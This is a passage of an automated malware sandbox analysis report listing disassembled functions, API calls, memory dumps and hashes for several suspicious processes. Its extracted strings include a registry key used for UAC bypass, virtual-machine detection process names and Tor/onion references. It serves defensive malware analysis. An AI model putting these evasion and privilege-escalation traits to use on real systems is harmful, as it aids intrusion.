Instruction Fuzzy Hash: B2018F71504609ABDF205F11ED84AEF3765EB84750F208037FA01B92D1C77A9D92AFAE

Uniqueness

Uniqueness Score: -1.00%

Function 00405688 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421538,Error launching installer), ref: 004056B1
CloseHandle.KERNEL32(?), ref: 004056BE

Strings

Error launching installer, xrefs: 0040569B

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 8605fb0cc1bd08462260b177f6e223d0fe872a64a1cb3e3de70a479640e30f4e
Instruction ID: a84e3f3112e4284354e87e930577f618970dfa48977d7da17d28cbc3385d6636
Opcode Fuzzy Hash: 8605fb0cc1bd08462260b177f6e223d0fe872a64a1cb3e3de70a479640e30f4e
Instruction Fuzzy Hash: 36E04FB0A002097FEB009B60EC05F7B7ABCE710204F808571BD01F2160D278A8008A78

Uniqueness

Uniqueness Score: -1.00%

Function 004059B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop\a,00402DB6,C:\Users\user\Desktop\a,C:\Users\user\Desktop\a,C:\Users\user\Desktop\a\wlanext.exe,C:\Users\user\Desktop\a\wlanext.exe,80000000,00000003), ref: 004059B6
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop\a,00402DB6,C:\Users\user\Desktop\a,C:\Users\user\Desktop\a,C:\Users\user\Desktop\a\wlanext.exe,C:\Users\user\Desktop\a\wlanext.exe,80000000,00000003), ref: 004059C4

Strings

C:\Users\user\Desktop\a, xrefs: 004059B0

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop\a
API String ID: 2709904686-3937216627
Opcode ID: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction ID: 4c364b2a586e3df4272a597733e657329f4de9264f8513980004e000b8aa575c
Opcode Fuzzy Hash: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction Fuzzy Hash: 82D0C7E2419E709EF30352549D04B9F6E98DF16750F0A14A2F141E6192D77C5D418BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00405ACF Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405ADF
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405AF7
CharNextA.USER32(00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B08
lstrlenA.KERNEL32(00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B11

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: ca0b18bb87844b4bf03c2f7d3918b69422ab9094ff5260ece92dc9b1c2472986
Instruction ID: b8bae3ead32ec2695fa88c6f2b94aa478c41e31f8fdb951db119f3f4d21ee890
Opcode Fuzzy Hash: ca0b18bb87844b4bf03c2f7d3918b69422ab9094ff5260ece92dc9b1c2472986
Instruction Fuzzy Hash: C1F0C231605518BFCB029FA5DC4099FBBB8EF46350B2140A5F800F7250D274FE019BA9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: e0cbefcb1af40c7d4aff4aca26621a98.exePID: 7788, Parent PID: 7352COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	22
Total number of Limit Nodes:	1

Executed Functions

Function 00403D57 Relevance: 12.1, APIs: 8, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fast_error_exit.LIBCMT ref: 00403DA2
__mtinit.LIBCMT ref: 00403DA8
_fast_error_exit.LIBCMT ref: 00403DB3
__amsg_exit.LIBCMT ref: 00403DCC
__amsg_exit.LIBCMT ref: 00403DF1
__amsg_exit.LIBCMT ref: 00403E02
__cinit.LIBCMT ref: 00403E09
__amsg_exit.LIBCMT ref: 00403E14

Memory Dump Source

Source File: 0000000F.00000001.1766308877.0000000000401000.00000020.00000001.01000000.00000012.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_1_401000_e0cbefcb1af40c7d4aff4aca26621a98.jbxd

Similarity

API ID: __amsg_exit$_fast_error_exit$__cinit__mtinit
String ID:
API String ID: 1903662257-0
Opcode ID: 86845328413cdb5ac184e4dc91fb6b9e378ea7a7227a41ce291af829d687a12e
Instruction ID: 2aa64934812e01d63a245d0efc8782f7c9ed7284054141048fa4ea7088085aff
Opcode Fuzzy Hash: 86845328413cdb5ac184e4dc91fb6b9e378ea7a7227a41ce291af829d687a12e
Instruction Fuzzy Hash: 2E2191B1D0430499EB147F72A946B6F3A68AF0070EF10447FF505BA1C2EA7C9E41969E

Uniqueness

Uniqueness Score: -1.00%

Function 004016BC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 149
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_abort.LIBCMT ref: 004016CD

Part of subcall function 0040377A: __NMSG_WRITE.LIBCMT ref: 0040379B
Part of subcall function 0040377A: _raise.LIBCMT ref: 004037AC
Part of subcall function 0040377A: _memset.LIBCMT ref: 00403844

LocalAlloc.KERNELBASE(00000000,00C1A1D5), ref: 00401709
VirtualProtect.KERNELBASE(00000000,00C2B520,00000040,?), ref: 00401722

Strings

{, xrefs: 0040186E

Memory Dump Source

Source File: 0000000F.00000001.1766308877.0000000000401000.00000020.00000001.01000000.00000012.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_1_401000_e0cbefcb1af40c7d4aff4aca26621a98.jbxd

Similarity

API ID: AllocLocalProtectVirtual_abort_memset_raise
String ID: {
API String ID: 2760105304-366298937
Opcode ID: 6e7c9a6e26ff69270f6360be8783f881e4ea7e6381efb5c00b7d2b8a0b71343d
Instruction ID: 1646095162e60956b8e034a7b5e6b536b2c427bafe8ac0bd341cb26f67f5d563
Opcode Fuzzy Hash: 6e7c9a6e26ff69270f6360be8783f881e4ea7e6381efb5c00b7d2b8a0b71343d
Instruction Fuzzy Hash: 7651BA31E44614DFE7A0ABA0DC46F6E7774FB48715F004629F609BB2E0C7786941CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401620 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000,00C1A1D5), ref: 00401709
VirtualProtect.KERNELBASE(00000000,00C2B520,00000040,?), ref: 00401722

Part of subcall function 004039C0: __atodbl_l.LIBCMT ref: 004039CD

Strings

{, xrefs: 0040186E

Memory Dump Source

Source File: 0000000F.00000001.1766308877.0000000000401000.00000020.00000001.01000000.00000012.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_1_401000_e0cbefcb1af40c7d4aff4aca26621a98.jbxd

Similarity

API ID: AllocLocalProtectVirtual__atodbl_l
String ID: {
API String ID: 367942095-366298937
Opcode ID: ad9ac7e42af7dbdd2f76d8398bfe86b323b07ce17dd1411ec3f7502e1e05fa72
Instruction ID: 91f4ee5d71b938a8fe040ab6dcc8798e28881d657490ef88dc0832e1436e5f96
Opcode Fuzzy Hash: ad9ac7e42af7dbdd2f76d8398bfe86b323b07ce17dd1411ec3f7502e1e05fa72
Instruction Fuzzy Hash: A761A671E48604EFE7A0ABA0DC4AF6E7774FB08B05F104625F605BB2E0C7B479018B69

Uniqueness

Uniqueness Score: -1.00%

Function 00401260 Relevance: 1.5, APIs: 1, Instructions: 27
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(00C2AAC0,004018B9), ref: 004012EE

Memory Dump Source

Source File: 0000000F.00000001.1766308877.0000000000401000.00000020.00000001.01000000.00000012.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_1_401000_e0cbefcb1af40c7d4aff4aca26621a98.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 98c1f82bfa965161c2f9e0988e34f531379adc9e71737b4d343f91c243f6e1f4
Instruction ID: 00ca5540d41bf804c3786795445c2915676cdda9acaa81409d8352570587af7b
Opcode Fuzzy Hash: 98c1f82bfa965161c2f9e0988e34f531379adc9e71737b4d343f91c243f6e1f4
Instruction Fuzzy Hash: D1F06218638740E7F724DF64FA117192223FF68B00F14642AD14ACBFB4E67A4916EB1B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00433840 Relevance: 12.7, Strings: 10, Instructions: 172COMMON

Download Yara Rule

Strings

bad g0 stackbad recoverybad value %dbootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOcountry_codedse disableddumping heapend tracegcentersyscallexit status failed t, xrefs: 00433A4A
runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=tls: internal error: failed to update binderstls: internal error: unexpected renegotiationtransform: input and output are not identicaltransitioning GC to the same state , xrefs: 00433ACC
runtime.minit: duplicatehandle failedruntime: allocation size out of rangeruntime: unexpected SPWRITE function setprofilebucket: profile already setstartTheWorld: inconsistent mp->nextptimezone hour outside of range [0,23]tls: failed to verify certificate: %st, xrefs: 00433B5B
VirtualQuery for stack base failedadding nil Certificate to CertPoolarchive/tar: header field too longchacha20: wrong HChaCha20 key sizecouldn't create a new cipher blockcrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid bu, xrefs: 00433AA5
runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: marked free object in span runtime: mcall called on m->g0 stackruntime:, xrefs: 00433A71
runtime: g0 stack [runtime: pcdata is runtime: preempt g0semaRoot rotateLeftset HTTPS proxy: %wsignature not foundskip this directorystopm holding lockssync.Cond is copiedsysMemStat overflowtoo many open filesunexpected InstFailunexpected data: %vunexpected g , xrefs: 004339DB
,/=MOScghs ( + , / @ P [ %q%v(") )()*., ->-r-t.\///C/d/f/i/q/s/v000X0b0o0s0x25536480: :]; =#> ??A3A4AVB:CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOKOUPCPcPdPePfPiPoPsSBSTScSkSmSoTeToV1V2V3V5V6V7YiZlZpZs")":"\*\D\E\S\W\"\\\d\n\r\s\w ])]:][]dsh2i)idipivmsn=nsos, xrefs: 00433A05
%, xrefs: 00433B64
runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=tls: internal error: failed to update binderstls: internal error: unexpected renegotiationtransform: input and output are not, xrefs: 00433B27
CreateWaitableTimerEx when creating timer failedHKCU\Software\Classes\mscfile\shell\open\commandMozilla/4.0 (compatible; MSIE 5.15; Mac_PowerPC)SELECT OSArchitecture FROM Win32_OperatingSystem"%s" --nt-service -f "%s" --Log "notice file %s"bufio: writer return, xrefs: 00433B00

Memory Dump Source

Source File: 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.4088646088.0000000000840000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000F.00000002.4088646088.0000000000843000.00000040.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_e0cbefcb1af40c7d4aff4aca26621a98.jbxd

Similarity

API ID:
String ID: %$,/=MOScghs ( + , / @ P [ %q%v(") )()*., ->-r-t.\///C/d/f/i/q/s/v000X0b0o0s0x25536480: :]; =#> ??A3A4AVB:CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOKOUPCPcPdPePfPiPoPsSBSTScSkSmSoTeToV1V2V3V5V6V7YiZlZpZs")":"\*\D\E\S\W\"\\\d\n\r\s\w ])]:][]dsh2i)idipivmsn=nsos$CreateWaitableTimerEx when creating timer failedHKCU\Software\Classes\mscfile\shell\open\commandMozilla/4.0 (compatible; MSIE 5.15; Mac_PowerPC)SELECT OSArchitecture FROM Win32_OperatingSystem"%s" --nt-service -f "%s" --Log "notice file %s"bufio: writer return$VirtualQuery for stack base failedadding nil Certificate to CertPoolarchive/tar: header field too longchacha20: wrong HChaCha20 key sizecouldn't create a new cipher blockcrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid bu$bad g0 stackbad recoverybad value %dbootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOcountry_codedse disableddumping heapend tracegcentersyscallexit status failed t$runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=tls: internal error: failed to update binderstls: internal error: unexpected renegotiationtransform: input and output are not$runtime.minit: duplicatehandle failedruntime: allocation size out of rangeruntime: unexpected SPWRITE function setprofilebucket: profile already setstartTheWorld: inconsistent mp->nextptimezone hour outside of range [0,23]tls: failed to verify certificate: %st$runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=tls: internal error: failed to update binderstls: internal error: unexpected renegotiationtransform: input and output are not identicaltransitioning GC to the same state $runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: marked free object in span runtime: mcall called on m->g0 stackruntime:$runtime: g0 stack [runtime: pcdata is runtime: preempt g0semaRoot rotateLeftset HTTPS proxy: %wsignature not foundskip this directorystopm holding lockssync.Cond is copiedsysMemStat overflowtoo many open filesunexpected InstFailunexpected data: %vunexpected g
API String ID: 0-2845907608
Opcode ID: 6d4b075b92291ec38728abf248bf36300e96b97f7d8f4182d4d4805dbce87119
Instruction ID: 54d86a38c7ca5e9b4d361dfb47ed8c6cf3eb888c171a558932b5f88d5bc68312
Opcode Fuzzy Hash: 6d4b075b92291ec38728abf248bf36300e96b97f7d8f4182d4d4805dbce87119
Instruction Fuzzy Hash: 8281CFB45097018FD700EF66C18575AFBE0BF88708F41992EF49887392EB789949CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00443890 Relevance: 5.1, Strings: 4, Instructions: 81COMMON

Download Yara Rule

Strings

releasep: m=remote errorremoving appruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstraceStringstraffic/readtransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog, xrefs: 00443929
p->status= s.nelems= schedtick= span.list= timerslen=$WINDIR\rss%!(BADPREC)%s (%d): %s) at entry+, elemsize=, npages = , settings:.WithCancel/dev/stderr/dev/stdout/index.html30517578125: frame.sp=BLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256Bad GatewayBad Req, xrefs: 00443997
m->p= max= min= next= p->m= prev= span=% util%s.exe%s.sys%s: %s(...), i = , not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.local.onion/%d-%s370000390625:31461<-chanAcceptAnswerAr, xrefs: 0044394B
releasep: invalid argremoving command appsruntime: confused by runtime: newstack at runtime: newstack sp=runtime: searchIdx = runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestun.sip, xrefs: 004439E1

Memory Dump Source

Source File: 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.4088646088.0000000000840000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000F.00000002.4088646088.0000000000843000.00000040.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_e0cbefcb1af40c7d4aff4aca26621a98.jbxd

Similarity

API ID:
String ID: m->p= max= min= next= p->m= prev= span=% util%s.exe%s.sys%s: %s(...), i = , not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.local.onion/%d-%s370000390625:31461<-chanAcceptAnswerAr$ p->status= s.nelems= schedtick= span.list= timerslen=$WINDIR\rss%!(BADPREC)%s (%d): %s) at entry+, elemsize=, npages = , settings:.WithCancel/dev/stderr/dev/stdout/index.html30517578125: frame.sp=BLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256Bad GatewayBad Req$releasep: invalid argremoving command appsruntime: confused by runtime: newstack at runtime: newstack sp=runtime: searchIdx = runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverablestun.sip$releasep: m=remote errorremoving appruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstraceStringstraffic/readtransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog
API String ID: 0-3530339137
Opcode ID: 3461d9c05735a5d313d60820f9f93e3643ea0f4fcf8a6e5ab543073cd0e9497a
Instruction ID: 41eda2ad12dc9040aabd0b4fda58d31df6fc94468559f7c6cc3daccb715ab915
Opcode Fuzzy Hash: 3461d9c05735a5d313d60820f9f93e3643ea0f4fcf8a6e5ab543073cd0e9497a
Instruction Fuzzy Hash: 9C31E2B45087418FD700EF25C185B1AFBE1BF88708F45882EF4888B352DB789948CB6A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 7804, Parent PID: 7744COMMON

Executed Functions

Function 049971E8 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2456912314.0000000004990000.00000040.00000800.00020000.00000000.sdmp, Offset: 04990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06f19aad607e58c565394f1de668a23b1e506742e90aa2d3e20761385f0d4412
Instruction ID: cd8fca59960f07495429787ffe1d25c1fbda428c39f150fc1c3eb6c89eb15f9c
Opcode Fuzzy Hash: 06f19aad607e58c565394f1de668a23b1e506742e90aa2d3e20761385f0d4412
Instruction Fuzzy Hash: 2CC19C31A10248DFCB14DFE8D944AAEBBF6FF85304F1585A9E4069B365DB34AC49CB81

Uniqueness

Uniqueness Score: -1.00%

Function 049929F0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2456912314.0000000004990000.00000040.00000800.00020000.00000000.sdmp, Offset: 04990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25489f789a3d7c5a693583d301a883748f5674a40068bfb9717a313f9d824c8c
Instruction ID: b6f9701f2581e4278490558536935d09c5abbdb45966635e962897cf9972127b
Opcode Fuzzy Hash: 25489f789a3d7c5a693583d301a883748f5674a40068bfb9717a313f9d824c8c
Instruction Fuzzy Hash: A69159B4A00645AFCB15CF5DC4949AAFBF1FF48310B2489A9D815AB3A5C736FC51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 049979B0 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2456912314.0000000004990000.00000040.00000800.00020000.00000000.sdmp, Offset: 04990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ba5d6ba360a1669897ede70011030c5ac44fe0efa16320103fec22b3d4589e1
Instruction ID: cfe6702180cf2da2ecf89b81726f439e9a680a31149688ab451afbd2d03e6c2c
Opcode Fuzzy Hash: 5ba5d6ba360a1669897ede70011030c5ac44fe0efa16320103fec22b3d4589e1
Instruction Fuzzy Hash: 39719D30A00245CFCB14DFA8C894A9EBBF6FF85314F1489BAD415DB651DB35AC46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04997B1E Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2456912314.0000000004990000.00000040.00000800.00020000.00000000.sdmp, Offset: 04990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b3ef4e6566ae35ca6a136076c65d99556445215c36ceb73566b03ad0f2354e
Instruction ID: 936f219dbfe7a98be49408541f710d7b7e73c97fa64d42f8e28db78c6a8efaaf
Opcode Fuzzy Hash: 32b3ef4e6566ae35ca6a136076c65d99556445215c36ceb73566b03ad0f2354e
Instruction Fuzzy Hash: F8713A30E10258DFDF14DFA8D494AADBBF6BF88304F148869D416AB390DB35AD46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04997741 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2456912314.0000000004990000.00000040.00000800.00020000.00000000.sdmp, Offset: 04990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68022e8bea0806f4d594394c2e5939378c93ab1e68a5a1c9a404691f351b599d
Instruction ID: 59801dbf1013a2af24f0fc233ab18b20f53bd41b7ceba7ab560126d382c0f584
Opcode Fuzzy Hash: 68022e8bea0806f4d594394c2e5939378c93ab1e68a5a1c9a404691f351b599d
Instruction Fuzzy Hash: 52419034A44215CFDB18DF68C554BAABBF6EF89350F0845A8E446EB3A0DF34AC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0499799B Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2456912314.0000000004990000.00000040.00000800.00020000.00000000.sdmp, Offset: 04990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4047a0c9544a2a5b2335f3fdba0d1257a382f34d0da0e64b3fa9ba674de3e0c7
Instruction ID: 621bfb52676ce92fb57407a5ff3cc6466afe3bee6fe71dc86033246b8baee526
Opcode Fuzzy Hash: 4047a0c9544a2a5b2335f3fdba0d1257a382f34d0da0e64b3fa9ba674de3e0c7
Instruction Fuzzy Hash: FB417D30A10218DFDB14DFA9C9847AEBBF2FF84314F148969D005AB794DB74AC45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04992B00 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2456912314.0000000004990000.00000040.00000800.00020000.00000000.sdmp, Offset: 04990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0b98c1f6084e5b35d0894ae798dcd7365f90719b6a3c646e47d917043c0a622
Instruction ID: abcfc4d1272c76f4670b847221ddb842fd54ba62aceb67fb538222cb5eb69e99
Opcode Fuzzy Hash: f0b98c1f6084e5b35d0894ae798dcd7365f90719b6a3c646e47d917043c0a622
Instruction Fuzzy Hash: D94106B4A00505AFCB05CF58C5989AAFBF1FF48310B2589A9D915AB364D736FC91CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02C0D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2451729453.0000000002C0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c0d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 343b752c598fee343e508d47dd751c92aa571d4231bcc4d3df6e0d731d94521a
Instruction ID: 230e0a897cabee8a03eb3a50aa093a53eaf6476159758cb2017ea32a26cb373d
Opcode Fuzzy Hash: 343b752c598fee343e508d47dd751c92aa571d4231bcc4d3df6e0d731d94521a
Instruction Fuzzy Hash: 5501406140E3C05ED7128B258894B52BFB4EF43228F1DC4DBD9898F1E3C2695849C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 02C0D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2451729453.0000000002C0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c0d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80613295815896b4a6f3c595cf465beb981d54e142e86509a64e1e2d0d1ddfe6
Instruction ID: cfd11c2f45f16b265e5f54563758f52a49123cfecf0619bb5198ed2ac7fc7791
Opcode Fuzzy Hash: 80613295815896b4a6f3c595cf465beb981d54e142e86509a64e1e2d0d1ddfe6
Instruction Fuzzy Hash: 4101A7715093409AE7108A66CDC4F67BF9CEF81328F18C529ED5E4A2C6C7799981C6F1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Creal.exePID: 8024, Parent PID: 7128COMMON

Executed Functions

Function 00007FF738B86370 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF738B863B5

Part of subcall function 00007FF738B85D08: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B85D1C

